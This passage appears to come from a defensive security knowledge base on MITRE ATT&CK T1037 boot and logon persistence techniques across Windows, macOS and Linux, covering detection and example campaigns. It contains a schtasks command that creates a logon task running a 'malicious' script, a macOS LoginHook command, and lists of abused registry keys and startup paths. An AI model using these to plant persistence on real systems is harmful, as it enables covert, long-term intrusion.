  * Advanced persistent threat actors deployed LoJax, a UEFI rootkit, to embed persistence at firmware level, surviving OS reinstalls and hardware changes.
  * Tools used: LoJax rootkit, UEFI firmware modification tools.
  * Impacts: Persistent espionage capabilities, extreme difficulty in remediation, long-term compromise of targeted networks.


# Boot or Logon Initialization Scripts

Boot or Logon Initialization Scripts \[T1037]

## Information

* Name: Boot or Logon Initialization Scripts
* ID: T1037
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Sub-Technique: [T1037.002](/mitre/mitre/ta0003/t1037/t1037.002), [T1037.005](/mitre/mitre/ta0003/t1037/t1037.005), [T1037.003](/mitre/mitre/ta0003/t1037/t1037.003), [T1037.004](/mitre/mitre/ta0003/t1037/t1037.004), [T1037.001](/mitre/mitre/ta0003/t1037/t1037.001)

## Introduction

Boot or Logon Initialization Scripts is a persistence technique categorized under MITRE ATT\&CK (Technique ID: T1037). Attackers leverage scripts that automatically execute during system boot or user logon to maintain persistence, escalate privileges, or execute malicious payloads. These scripts typically run with elevated privileges, making them attractive targets for adversaries seeking long-term footholds within compromised environments.

## Deep Dive Into Technique

Attackers exploit Boot or Logon Initialization Scripts by inserting malicious code into legitimate startup processes. Common scripts include:

* **Windows Environments**:
  * **Group Policy Objects (GPO)**:
    * Attackers inject malicious scripts into startup or logon scripts managed by Active Directory Group Policy.
    * Scripts stored in:

      ```
      \\<domain>\SYSVOL\<domain>\Policies\<GUID>\MACHINE\Scripts\Startup\
      \\<domain>\SYSVOL\<domain>\Policies\<GUID>\USER\Scripts\Logon\
      ```
  * **Local Group Policy Editor**:
    * Malicious scripts placed directly on endpoints via Local Group Policy Editor (`gpedit.msc`).
  * **Registry Keys**:
    * Attackers utilize registry keys to configure startup scripts:

      ```
      HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
      HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
      ```
  * **Scheduled Tasks**:
    * Scripts configured as scheduled tasks to trigger at boot or logon, often via:

      ```
      schtasks.exe /create /sc onlogon /tn "TaskName" /tr "MaliciousScript.bat"
      ```
* **Linux/Unix Environments**:
  * **Init Scripts**:
    * Scripts placed in `/etc/init.d/` or `/etc/rc.d/` directories.
  * **Systemd Services**:
    * Malicious `.service` files placed within `/etc/systemd/system/` or `/usr/lib/systemd/system/`.
  * **User Profile Scripts**:
    * Modifying `.bashrc`, `.bash_profile`, `.profile`, or similar files within user home directories.

Attackers frequently use scripting languages such as PowerShell, batch scripts, VBScript, Bash, Python, and Perl. These scripts enable attackers to execute arbitrary commands, download additional payloads, establish reverse shells, or escalate privileges.

## When this Technique is Usually Used

Attackers commonly utilize Boot or Logon Initialization Scripts during multiple stages of the attack lifecycle, including:

* **Persistence**:
  * Establishing continuous access to compromised systems even after reboot or user logoff.
* **Privilege Escalation**:
  * Leveraging scripts that execute with elevated privileges to escalate attacker permissions.
* **Defense Evasion**:
  * Leveraging legitimate system processes and scripts to evade detection by blending malicious activity with normal system behaviors.
* **Execution**:
  * Automatically executing payloads or commands upon system startup or user logon without manual intervention.

Specific scenarios include:

* Post-exploitation phase to maintain long-term access.
* Advanced Persistent Threat (APT) campaigns targeting enterprises.
* Insider threats embedding malicious scripts within administrative scripts or scheduled tasks.
* Malware campaigns leveraging boot scripts to ensure consistent execution.

## How this Technique is Usually Detected

Detection of malicious Boot or Logon Initialization Scripts involves monitoring system behaviors, analyzing script contents, and tracking configuration changes. Effective detection methods include:

* **File Integrity Monitoring (FIM)**:
  * Monitoring critical directories and files for unauthorized modifications, including:
    * Windows:
      * `%SystemRoot%\System32\GroupPolicy\Machine\Scripts\`
      * `%SystemRoot%\System32\GroupPolicy\User\Scripts\`
      * `%SystemRoot%\SYSVOL\domain\Policies\`
    * Linux:
      * `/etc/init.d/`
      * `/etc/rc.d/`
      * `/etc/systemd/system/`
      * User home directories (e.g., `.bashrc`, `.profile`)
* **Registry Monitoring**:
  * Monitoring registry keys related to startup scripts, such as:

    ```
    HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\
    HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\
    ```
* **Log Analysis and Auditing**:
  * Analyzing Windows Event Logs, especially events related to Group Policy changes (Event IDs: 5136, 5137, 5138, 5139, 5141).
  * Reviewing audit logs for suspicious script executions and scheduled task creations.
* **Endpoint Detection and Response (EDR) Tools**:
  * Detecting anomalous script executions, command-line parameters, and suspicious parent-child process relationships.
* **Behavioral Analytics and SIEM Solutions**:
  * Correlating multiple events and behaviors indicating malicious persistence mechanisms.

Indicators of Compromise (IoCs):

* Unrecognized scripts in startup directories or user profiles.
* Scheduled tasks created with suspicious parameters.
* Registry keys referencing unknown scripts or executables.
* Unusual outbound connections initiated by scripts at boot or logon.

## Why it is Important to Detect This Technique

Detecting malicious Boot or Logon Initialization Scripts is crucial due to significant potential impacts, including:

* **Persistence of Threat Actors**:
  * Attackers maintain long-term access, enabling continuous data exfiltration, reconnaissance, or lateral movement.
* **Privilege Escalation Risks**:
  * Scripts often run with elevated privileges, allowing attackers to escalate permissions and gain administrative control.
* **Stealth and Evasion**:
  * Malicious scripts embedded within legitimate startup processes can evade detection, prolonging attacker presence.
* **Operational Disruption**:
  * Malicious scripts may degrade system performance, alter system configurations, or cause service disruptions.
* **Data Exfiltration and Espionage**:
  * Persistent scripts facilitate continuous data theft, intellectual property compromise, or espionage activities.

Early detection and mitigation significantly reduce attacker dwell time, limit damage, and prevent further exploitation within networks and systems.

## Examples

Real-world examples of Boot or Logon Initialization Scripts being exploited include:

* **FIN7 Group**:
  * Leveraged Group Policy Objects (GPO) startup scripts to deploy malicious payloads across compromised Windows domains.
  * Attackers placed malicious scripts within the SYSVOL share, enabling automated execution on domain-connected endpoints.
* **APT29 (Cozy Bear)**:
  * Utilized scheduled tasks and registry-based logon scripts for persistence in targeted networks.
  * Scripts executed PowerShell commands to download and execute additional payloads, enabling espionage and data theft.
* **TrickBot Malware**:
  * Employed scheduled tasks and registry keys to execute persistence scripts at system startup, ensuring continuous malware execution and command-and-control (C2) communication.
* **Carbanak Group**:
  * Leveraged malicious startup scripts and scheduled tasks within financial institutions to maintain persistence, escalate privileges, and facilitate lateral movement.
* **Operation Cloud Hopper (APT10)**:
  * Used malicious Linux init scripts and systemd services to maintain persistence on compromised cloud infrastructure and managed service providers (MSPs).

Common tools and scripts observed:

* PowerShell scripts executing encoded commands or downloading payloads.
* Batch scripts (`.bat`, `.cmd`) configuring scheduled tasks or registry keys.
* VBScript (`.vbs`) and JavaScript (`.js`) scripts embedded within user logon scripts.
* Linux Bash scripts placed within `/etc/init.d/` or systemd service files executing reverse shells or downloading secondary payloads.

Impacts observed in these scenarios include:

* Persistent attacker access and prolonged data exfiltration.
* Privilege escalation and administrative control over compromised environments.
* Significant financial losses and reputational damage for targeted organizations.
* Operational disruptions, service outages, and reduced productivity due to malicious script activities.


# Logon Script (Windows)

Logon Script (Windows) \[T1037.001]

## Information

* Name: Logon Script (Windows)
* ID: T1037.001
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1037](/mitre/mitre/ta0003/t1037)

## Introduction

The Logon Script (Windows) sub-technique (T1037.001) within the MITRE ATT\&CK framework refers to adversaries leveraging Windows logon scripts to execute malicious code or commands automatically upon user logon. Logon scripts are traditionally used by administrators to configure user environments, map network drives, or deploy software. Attackers exploit these scripts to achieve persistence, escalate privileges, or execute malicious payloads without immediate detection.

## Deep Dive Into Technique

Logon scripts in Windows environments are typically batch (.bat), VBScript (.vbs), or PowerShell (.ps1) scripts executed automatically during user authentication. These scripts reside either locally on the system or remotely on domain controllers, typically in locations such as:

* Local paths:
  * `C:\Windows\System32\GroupPolicy\User\Scripts\Logon\`
  * `C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\`
* Domain controller paths:
  * `\\<DomainController>\SYSVOL\<DomainName>\scripts\`

Attackers leveraging this technique typically perform the following steps:

1. Gain initial access to the target system or network through phishing, exploitation, or stolen credentials.
2. Identify the logon scripts' location and permissions.
3. Modify existing legitimate scripts or create new malicious scripts.
4. Ensure scripts execute automatically upon user or system logon.

Common methods of exploitation include:

* Injecting malicious commands into legitimate scripts.
* Creating new scripts that execute malware or establish command-and-control (C2) channels.
* Leveraging Group Policy Objects (GPOs) to distribute malicious scripts across multiple machines in a domain environment.

Adversaries may use scripting languages such as PowerShell or VBScript, providing flexibility and obfuscation capabilities to evade detection.

## When this Technique is Usually Used

Attackers commonly use this sub-technique during multiple stages of cyber-attacks, including:

* **Persistence**: Ensuring continued access to compromised systems by automatically executing malicious scripts upon user logon or system startup.
* **Privilege Escalation**: Leveraging scripts executed under higher privilege contexts to escalate privileges.
* **Lateral Movement**: Deploying scripts via Group Policy Objects (GPOs) to propagate across multiple systems within an enterprise.
* **Execution**: Executing payloads and malware automatically without immediate user intervention, thus maintaining stealth.

Typical scenarios include:

* Advanced Persistent Threat (APT) groups embedding malicious scripts into existing logon scripts to maintain long-term access.
* Insider threats modifying scripts for unauthorized access or data exfiltration.
* Malware campaigns utilizing logon scripts to ensure continued execution after initial compromise.

## How this Technique is Usually Detected

Detection methods and indicators of compromise (IoCs) include:

* **Monitoring Script Locations**:
  * Regular auditing of script directories (`SYSVOL`, local Group Policy script locations) for unauthorized changes or additions.
  * File integrity monitoring to detect modifications to known legitimate scripts.
* **Event Log Analysis**:
  * Windows Security Event Logs (e.g., Event ID 4624 for logon events).
  * Group Policy operational logs (`Microsoft-Windows-GroupPolicy/Operational`) to detect changes or script deployments.
* **Endpoint Protection and EDR**:
  * Endpoint Detection and Response (EDR) solutions monitoring script execution and anomalous behaviors.
  * Antivirus and anti-malware tools scanning for known malicious scripts or suspicious script execution patterns.
* **Behavioral Analytics**:
  * Identifying unusual user logon patterns, script execution anomalies, or abnormal processes spawned by scripts.
  * Leveraging Security Information and Event Management (SIEM) systems to correlate logon script executions with suspicious activities.

Specific Indicators of Compromise (IoCs):

* Unexpected or unauthorized scripts appearing in standard logon script directories.
* Scripts executing commands to download payloads from external or suspicious IP addresses or URLs.
* Unusual processes or network connections initiated shortly after user logon.

## Why it is Important to Detect This Technique

Early detection of malicious logon scripts is crucial due to the following potential impacts on systems and networks:

* **Persistence and Long-term Compromise**:
  * Attackers can maintain prolonged unauthorized access, allowing them to conduct espionage, data exfiltration, or sabotage.
* **Privilege Escalation Risks**:
  * Scripts running under elevated privileges can escalate attacker privileges, increasing the severity and scope of compromise.
* **Lateral Movement and Rapid Propagation**:
  * Malicious scripts distributed via Group Policy Objects can quickly infect multiple systems, exponentially increasing the attack surface.
* **Stealth and Difficulty of Detection**:
  * Leveraging legitimate administrative mechanisms (logon scripts) allows attackers to blend in with normal administrative activity, making detection challenging.
* **Data Exfiltration and Operational Disruption**:
  * Malicious scripts can exfiltrate sensitive data, disrupt operations, or install additional malware payloads, severely impacting business continuity and security posture.

Early detection and rapid response minimize potential damage, limit attacker footholds, and reduce remediation costs significantly.

## Examples

Real-world examples of attackers using logon scripts include:

* **APT32 (OceanLotus)**:
  * Known for modifying logon scripts in compromised environments to maintain persistence and execute PowerShell scripts for command-and-control communication.
  * Typically targeted Southeast Asian organizations and government entities, embedding obfuscated PowerShell commands into logon scripts for stealthy execution.
* **FIN7 Group**:
  * Utilized logon scripts to deploy malware payloads across multiple compromised hosts in financial and retail sectors.
  * Scripts executed reconnaissance commands, established persistence, and downloaded additional malware for data exfiltration.
* **TrickBot Malware Campaigns**:
  * Leveraged Group Policy Objects and logon scripts to propagate ransomware payloads like Ryuk across enterprise environments.
  * Malicious scripts executed commands to disable security tools, establish persistence, and initiate ransomware encryption.

Typical attack scenario:

1. Initial compromise via phishing email or exploitation.
2. Attacker gains administrative privileges and accesses domain controllers or local machines.
3. Malicious scripts are embedded into existing or new logon scripts.
4. Scripts execute automatically upon user logon, downloading additional payloads or establishing persistent backdoor connections.
5. Attackers leverage established persistence to escalate privileges, move laterally, and exfiltrate sensitive data.

Tools and methods commonly observed:

* PowerShell scripts obfuscated with Base64 encoding or encryption.
* VBScript or batch scripts executing payload downloads from external servers.
* Group Policy manipulation tools (e.g., PowerSploit, Empire) to automate malicious script deployment via GPOs.

Impacts observed in real-world attacks:

* Unauthorized persistent access leading to long-term espionage.
* Rapid infection and lateral movement across enterprise networks.
* Significant data breaches and ransomware infections causing operational disruption and financial loss.


# Login Hook

Login Hook \[T1037.002]

## Information

* Name: Login Hook
* ID: T1037.002
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1037](/mitre/mitre/ta0003/t1037)

## Introduction

Login Hook (T1037.002) is a sub-technique from the MITRE ATT\&CK framework under the Persistence tactic and Boot or Logon Autostart Execution technique. Attackers leverage login hooks to execute malicious code automatically upon user login, ensuring persistence on compromised macOS systems. This technique exploits built-in macOS functionality designed to run scripts or executables when a user logs in, enabling attackers to maintain access and execute further commands or payloads seamlessly without user awareness.

## Deep Dive Into Technique

Login hooks are scripts or executables configured to run automatically at user login on macOS systems. Historically, macOS provided built-in support for login hooks through the command-line utility:

```
sudo defaults write com.apple.loginwindow LoginHook /path/to/script
```

Technical details and execution methods include:

* **Login Hooks Configuration**: Attackers create or modify login hook scripts, typically shell scripts, that execute malicious commands or payloads upon user login.
* **Privilege Requirements**: Login hooks require administrative privileges to set or modify. Attackers usually escalate privileges or use compromised admin credentials.
* **Persistence Mechanism**: Once configured, login hooks run automatically each time a user logs in, providing long-term persistence.
* **Script Locations and Formats**:
  * Commonly stored in hidden or obscure directories (`/Library/`, `/usr/local/bin/`, `/Users/Shared/`).
  * Usually shell scripts (`.sh`) or executable binaries.
* **Obfuscation and Evasion**:
  * Attackers may obfuscate scripts or store them in hidden directories.
  * Scripts may reference external payloads or command-and-control servers.
* **Real-world Procedures**:
  * Attackers may combine login hooks with other persistence mechanisms (launch agents, daemons).
  * Login hooks may download additional malware, establish remote access, or collect user/system information.

## When this Technique is Usually Used

Attackers typically leverage login hooks in various attack scenarios and stages, including:

* **Persistence Stage**:
  * Maintaining long-term access after initial compromise.
  * Surviving system reboots or user logouts.
* **Post-Exploitation Stage**:
  * Ensuring continued command-and-control (C2) communication.
  * Re-establishing backdoors after detection or partial remediation.
* **Privilege Escalation Scenarios**:
  * After gaining administrative credentials, attackers configure login hooks to automate privilege escalation payloads or maintain elevated access.
* **Targeted Attacks**:
  * Advanced Persistent Threats (APTs) targeting macOS environments commonly use login hooks for persistence.
  * Espionage campaigns where stealthy persistence mechanisms are crucial.

## How this Technique is Usually Detected

Detection methods, tools, and indicators of compromise (IoCs) include:

* **System Configuration Audits**:
  * Regularly auditing macOS login hook configurations through commands such as:

    ```
    defaults read com.apple.loginwindow LoginHook
    ```
* **File Integrity Monitoring (FIM)**:
  * Monitoring unexpected changes or additions to scripts or executables in common system directories (`/Library/`, `/usr/local/bin/`, `/Users/Shared/`).
* **Endpoint Detection and Response (EDR)**:
  * EDR solutions may detect suspicious file creations, modifications, or executions triggered by login hooks.
* **Behavioral Monitoring**:
  * Detecting anomalous processes or scripts running immediately after user login.
  * Monitoring network connections initiated by processes spawned from login hooks.
* **Log Analysis**:
  * Reviewing macOS system logs (`/var/log/system.log`) for unusual login hook activity or errors.
* **Specific Indicators of Compromise (IoCs)**:
  * Presence of unauthorized login hook scripts or binaries.
  * Suspicious network traffic initiated by login hook scripts.
  * Unexpected persistence mechanisms detected in macOS configuration.

## Why it is Important to Detect This Technique

Early detection of login hook persistence is critical due to potential severe impacts on systems and networks:

* **Long-Term Persistence**:
  * Attackers maintain persistent, stealthy access, allowing ongoing espionage, data exfiltration, or lateral movement.
* **Stealthy Execution**:
  * Login hooks execute automatically and silently, making detection difficult without proactive monitoring.
* **System Integrity and Security**:
  * Undetected login hooks can compromise system integrity, enabling attackers to escalate privileges, install additional malware, or exfiltrate sensitive data.
* **Data Exfiltration and Espionage**:
  * Attackers may leverage login hooks to establish persistent command-and-control channels, facilitating data theft or espionage.
* **Operational Disruption**:
  * Persistent threats can disrupt business operations, degrade system performance, or lead to compliance violations.
* **Early Mitigation**:
  * Timely detection allows security teams to remediate threats before significant damage occurs, minimizing impact and recovery costs.

## Examples

Real-world examples demonstrating the use of login hooks include:

* **FruitFly Malware**:
  * A macOS malware family that utilized login hooks to maintain persistent access.
  * Attackers configured login hooks to execute malicious scripts upon user login, enabling remote access, surveillance capabilities, and data exfiltration.
  * FruitFly targeted healthcare, biomedical research facilities, and individual users, highlighting the stealth and effectiveness of login hook persistence.
* **OSX.Dok Malware**:
  * Leveraged login hooks to establish persistent backdoors on compromised macOS systems.
  * Upon infection, OSX.Dok installed malicious scripts as login hooks, enabling attackers to intercept internet traffic, steal credentials, and install additional malware.
  * Demonstrated sophisticated persistence coupled with credential harvesting and man-in-the-middle attacks.
* **Advanced Persistent Threat (APT) Campaigns**:
  * Nation-state threat actors have utilized login hooks in targeted espionage campaigns against macOS users.
  * Attackers employed login hooks to silently execute reconnaissance scripts, exfiltrate sensitive data, and maintain long-term undetected access to victim networks.

In these examples, attackers leveraged login hooks due to their stealth, persistence, and ease of deployment, underscoring the importance of proactive detection and mitigation strategies.


# Network Logon Script

Network Logon Script \[T1037.003]

## Information

* Name: Network Logon Script
* ID: T1037.003
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1037](/mitre/mitre/ta0003/t1037)

## Introduction

Network Logon Script (T1037.003) is a sub-technique within the MITRE ATT\&CK framework under the parent technique "Boot or Logon Initialization Scripts (T1037)." Attackers leverage this method by manipulating scripts automatically executed during user logon over a network. These scripts typically reside on domain controllers and are executed by client systems upon user authentication, enabling adversaries to achieve persistence, privilege escalation, or lateral movement within compromised environments.

## Deep Dive Into Technique

Network logon scripts are commonly configured within Active Directory (AD) environments and are executed each time a user authenticates to a domain. Administrators use these scripts for legitimate purposes such as mapping network drives, deploying software, or configuring user environments. Attackers exploit these scripts to execute malicious code persistently and stealthily.

Technical details include:

* **Script Locations and Types**:
  * Typically located on domain controllers within the `NETLOGON` share (`\\<DomainController>\NETLOGON\`).
  * Common script types include batch files (`.bat`), VBScript (`.vbs`), PowerShell (`.ps1`), or even executables.
* **Execution Flow**:
  1. User authenticates to the domain.
  2. Domain controller instructs the client to execute assigned logon scripts.
  3. Scripts execute under the context of the logged-in user, potentially granting attackers user-level access or privileges.
* **Manipulation Techniques**:
  * Attackers may modify existing legitimate scripts or introduce new malicious scripts.
  * Scripts can be edited directly on domain controllers or through compromised administrative accounts with sufficient privileges.
  * Malicious scripts may include commands to download payloads, establish reverse shells, or execute reconnaissance tasks.
* **Privilege Requirements**:
  * Typically requires administrative privileges or sufficient permissions to modify scripts on domain controllers or related Group Policy Objects (GPOs).
  * Attackers may escalate privileges first or compromise privileged accounts to manipulate scripts.

## When this Technique is Usually Used

Attackers typically employ the Network Logon Script technique during specific phases of the cyberattack lifecycle, including:

* **Persistence**:
  * Ensuring continuous access to compromised networks by embedding malicious code in scripts executed at every user logon.
  * Maintaining long-term footholds within enterprise environments.
* **Privilege Escalation**:
  * Exploiting scripts executed by users with higher privileges to elevate attacker permissions.
* **Lateral Movement**:
  * Spreading malicious payloads or commands across numerous hosts simultaneously through centralized logon scripts.
  * Achieving rapid propagation across enterprise networks.
* **Reconnaissance and Information Gathering**:
  * Using scripts to execute reconnaissance commands, gather credentials, or collect sensitive data during user logon events.

## How this Technique is Usually Detected

Detection typically involves monitoring script execution, auditing changes to scripts, and observing unusual behaviors or anomalies. Effective detection methods include:

* **Monitoring and Auditing**:
  * Regularly auditing the contents of logon scripts stored in the `NETLOGON` share.
  * Monitoring file system modifications on domain controllers, specifically within script directories.
  * Tracking changes to Group Policy Objects (GPOs) linked to logon scripts through Windows Event Logs (Event IDs 4662, 5136, 5141).
* **Endpoint Detection and Response (EDR) Solutions**:
  * EDR tools identifying unusual script execution patterns, suspicious child processes, or unexpected network connections initiated from logon scripts.
* **Behavioral Analysis**:
  * Detecting abnormal script behavior, such as execution of PowerShell commands downloading external payloads or establishing remote connections.
  * Monitoring network traffic for outbound connections initiated by scripts during logon events.
* **Indicators of Compromise (IoCs)**:
  * Unexpected or unauthorized scripts in the `NETLOGON` share.
  * Suspicious commands within scripts (e.g., downloaders, encoded payloads, reverse shell commands).
  * Unusual user account behavior or unexpected privilege escalations following logon script execution.

## Why it is Important to Detect This Technique

Early detection of malicious network logon scripts is crucial due to the severe impacts and risks posed to enterprise environments:

* **Persistent Access**:
  * Attackers gain continuous and stealthy persistence, complicating remediation efforts and increasing dwell time.
* **Rapid Lateral Movement**:
  * Malicious scripts can quickly propagate malware or commands across many endpoints simultaneously, significantly accelerating attacker reach and impact.
* **Credential Compromise**:
  * Scripts executed at logon can harvest credentials, enabling attackers to further escalate privileges or expand access.
* **Data Exfiltration and Espionage**:
  * Attackers can leverage scripts to collect sensitive information, intellectual property, or confidential data, posing significant operational and reputational risks.
* **Operational Disruption**:
  * Malicious scripts can lead to system instability, outages, or loss of productivity, directly impacting business continuity.

Detecting and mitigating this technique early significantly reduces attacker effectiveness, minimizes damage, and preserves organizational integrity and security posture.

## Examples

Real-world scenarios and examples of attackers leveraging Network Logon Script (T1037.003):

* **FIN7 Group**:
  * Attackers associated with FIN7 have been known to modify or insert malicious scripts within AD logon scripts to deploy malware such as Carbanak and Cobalt Strike payloads.
  * Scripts executed at logon enabled FIN7 to maintain persistence, conduct lateral movement, and exfiltrate sensitive financial data from targeted organizations.
* **APT32 (OceanLotus)**:
  * Leveraged compromised administrative credentials to modify existing network logon scripts, embedding PowerShell commands to execute malicious payloads on user endpoints.
  * Enabled persistent control and reconnaissance activities within victim networks, primarily targeting organizations in Southeast Asia.
* **Ryuk Ransomware Attacks**:
  * Attackers deploying Ryuk ransomware have manipulated logon scripts to propagate ransomware payloads across multiple endpoints simultaneously, rapidly encrypting enterprise environments and maximizing disruption.
* **NotPetya Malware Incident**:
  * Although NotPetya primarily leveraged other propagation methods, attackers have similarly used compromised logon scripts to rapidly propagate destructive malware across enterprise networks, causing massive operational disruption and financial loss.

In each scenario, attackers exploited network logon scripts due to their centralized location, ease of propagation, and ability to execute malicious commands at scale, underscoring the importance of monitoring, detecting, and securing logon scripts within enterprise environments.


# RC Scripts

RC Scripts \[T1037.004]

## Information

* Name: RC Scripts
* ID: T1037.004
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1037](/mitre/mitre/ta0003/t1037)

## Introduction

RC Scripts (T1037.004) is a sub-technique within the MITRE ATT\&CK framework under the Persistence tactic, specifically categorized under Boot or Logon Autostart Execution (T1037). Attackers leverage RC scripts, typically found in Unix-like operating systems, to maintain persistence by automatically executing commands or scripts upon system startup or reboot. RC scripts are traditionally used for initializing system services and configurations, making them attractive targets for adversaries seeking stealthy and persistent access.

## Deep Dive Into Technique

RC scripts are shell scripts located in directories such as `/etc/rc.d/`, `/etc/init.d/`, or `/etc/rcX.d/` (where X represents runlevel numbers). These scripts execute automatically during the boot-up process or when changing runlevels, making them ideal for persistent malicious code execution.

Technical details include:

* **Script Location and Structure:**
  * Common directories:
    * `/etc/init.d/`
    * `/etc/rc.d/`
    * `/etc/rcX.d/` (runlevel-specific directories such as rc0.d, rc1.d, rc2.d, rc3.d, rc4.d, rc5.d, rc6.d)
  * Naming conventions typically include a prefix indicating startup order, e.g., `S20scriptname` (start) or `K20scriptname` (kill).
  * Scripts generally follow standard shell scripting syntax and include execution permissions.
* **Persistence Mechanism:**
  * Attackers insert malicious code or scripts into existing legitimate RC scripts or create new scripts altogether.
  * Scripts execute automatically upon reboot or runlevel changes, ensuring persistence across system restarts.
  * Malicious scripts often contain commands to:
    * Open reverse shells or backdoors.
    * Execute remote payload retrieval and execution.
    * Modify system configurations for further exploitation.
* **Privilege Requirements:**
  * Typically requires root or administrative privileges to modify or create scripts in protected directories.
  * Attackers usually escalate privileges first to place malicious scripts in system directories.
* **Common Commands and Techniques:**
  * Bash or sh scripting commands to execute payloads.
  * Use of `wget` or `curl` to retrieve additional payloads from remote servers.
  * Execution of binaries or scripts hidden in less conspicuous locations on the filesystem.
  * Obfuscation techniques to evade detection by security tools.

## When this Technique is Usually Used

Attackers typically use RC Scripts for persistence after initial compromise and privilege escalation. Common scenarios include:

* **Post-Exploitation Persistence:**
  * After successful initial access and privilege escalation, attackers deploy RC scripts to maintain long-term access.
  * Commonly used following exploitation of vulnerabilities, phishing attacks, or credential compromise.
* **Advanced Persistent Threat (APT) Campaigns:**
  * APT actors frequently leverage RC scripts to maintain low-profile, persistent footholds in targeted environments.
  * Suitable for long-term espionage campaigns requiring stealthy and reliable persistence mechanisms.
* **Malware Deployment and Backdoor Installation:**
  * Attackers embedding malware or backdoors into RC scripts to ensure automatic execution upon system reboot.
  * Commonly used in ransomware, cryptomining, or botnet operations.
* **System Reboots or Scheduled Maintenance:**
  * Attackers exploit scheduled system reboots or maintenance windows to activate malicious scripts.
  * Ideal for environments with frequent reboots or scheduled downtime, as malicious scripts blend into legitimate startup activities.

## How this Technique is Usually Detected

Detection of malicious RC scripts involves multiple methods, including:

* **File Integrity Monitoring (FIM):**
  * Monitoring changes to critical directories:
    * `/etc/init.d/`
    * `/etc/rc.d/`
    * `/etc/rcX.d/`
  * Detecting unauthorized script additions, modifications, or deletions.
* **Audit Logging and Monitoring:**
  * Leveraging auditd rules to log changes to RC script directories.
  * Monitoring for suspicious file creation, modification, or permission changes.
* **Behavioral Analysis:**
  * Analyzing system behavior at boot time for unusual processes, network connections, or resource usage.
  * Utilizing tools such as `ps`, `netstat`, `lsof`, or `top` to identify anomalous processes initiated at startup.
* **Endpoint Detection and Response (EDR) Tools:**
  * Automated detection of suspicious file creation and execution patterns.
  * Alerting on suspicious processes spawned from RC scripts.
* **Indicators of Compromise (IoCs):**
  * Unrecognized or newly created scripts in RC directories.
  * Suspicious script names or unusual execution permissions.
  * Known malicious domains or IP addresses accessed at boot.
  * Unusual cron jobs or scheduled tasks pointing to RC scripts.

## Why it is Important to Detect This Technique

Timely detection of malicious RC scripts is critical due to several potential impacts:

* **Persistent Access and Long-Term Compromise:**
  * Attackers maintain persistent footholds, enabling prolonged espionage, data exfiltration, or lateral movement.
* **System Stability and Integrity Risks:**
  * Malicious scripts may cause system instability, crashes, or performance degradation.
  * Unauthorized modifications can lead to unpredictable behavior during critical system operations.
* **Data Exfiltration and Intellectual Property Theft:**
  * Persistent access facilitates continuous data theft, potentially leading to severe financial and reputational damages.
* **Deployment of Additional Malware:**
  * RC scripts can be leveraged to deploy ransomware, cryptominers, or other payloads, exacerbating the damage and recovery costs.
* **Stealth and Evasion of Security Controls:**
  * Attackers often leverage RC scripts to evade traditional security measures, highlighting the importance of proactive detection and monitoring.

Early detection allows organizations to quickly mitigate threats, reduce damage, and minimize recovery and remediation costs.

## Examples

Real-world examples demonstrating the use of RC scripts for persistence:

* **Operation Windigo (Ebury SSH Rootkit):**
  * Attackers installed RC scripts containing commands to launch Ebury SSH backdoor upon reboot.
  * Impact:
    * Persistent remote access to compromised servers.
    * Theft of SSH credentials and further lateral movement.
* **Linux/Mumblehard Malware Campaign:**
  * Malware installed RC startup scripts to launch spam bots and proxy servers automatically.
  * Impact:
    * Persistent spam campaign infrastructure.
    * Compromised servers used to send unsolicited emails and facilitate further infections.
* **Skidmap Linux Malware:**
  * Cryptomining malware leveraging RC scripts to persistently mine cryptocurrency.
  * Impact:
    * Excessive resource consumption leading to degraded system performance.
    * Financial losses due to unauthorized resource use.
* **HiddenWasp Linux Malware:**
  * Malware inserting malicious RC scripts to execute payloads at system startup.
  * Impact:
    * Persistent remote access and lateral movement capabilities.
    * Difficult to detect due to stealthy behavior and obfuscation methods.

These examples highlight the diverse usage of RC scripts by attackers, emphasizing the importance of robust detection and monitoring strategies to mitigate risks effectively.


# Startup Items

Startup Items \[T1037.005]

## Information

* Name: Startup Items
* ID: T1037.005
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1037](/mitre/mitre/ta0003/t1037)

## Introduction

Startup Items (T1037.005) is a sub-technique under the Persistence tactic within the MITRE ATT\&CK framework. It describes adversaries leveraging startup items, such as login scripts, startup folders, and other configuration settings, to achieve persistence on compromised systems. By placing malicious executables, scripts, or shortcuts into startup locations, adversaries ensure their malicious payloads execute automatically during system boot or user login, maintaining long-term presence and persistence without requiring additional user interaction.

## Deep Dive Into Technique

Startup Items involve placing malicious executables or scripts into specific directories or configuration settings that automatically execute when a system or user session starts. Attackers commonly exploit the following methods to establish persistence via Startup Items:

* **Windows Startup Folder:**
  * Located at `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` for individual user persistence.
  * Located at `%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup` for system-wide persistence.
  * Attackers place executables, shortcuts, or scripts in these folders, ensuring automatic execution upon user login.
* **Registry Keys:**
  * Attackers may leverage registry keys such as:
    * `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
    * `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
  * Entries in these keys execute automatically during user login or system startup.
* **Scheduled Tasks:**
  * Attackers may create scheduled tasks configured to execute at user login or system startup.
  * Tasks can be hidden from normal view and configured to execute without user consent or interaction.
* **Login Scripts:**
  * Scripts configured via Active Directory Group Policy Objects (GPO) or local group policy settings.
  * Attackers may modify or add scripts to execute malicious payloads upon login.
* **MacOS/Linux Startup Items:**
  * MacOS: Malicious items placed into `/Library/StartupItems/`, `/Library/LaunchAgents/`, or `/Library/LaunchDaemons/`.
  * Linux: Malicious scripts inserted into `/etc/init.d/`, `/etc/rc.d/`, or user-specific startup files such as `~/.bashrc`, `~/.profile`, or `~/.bash_profile`.

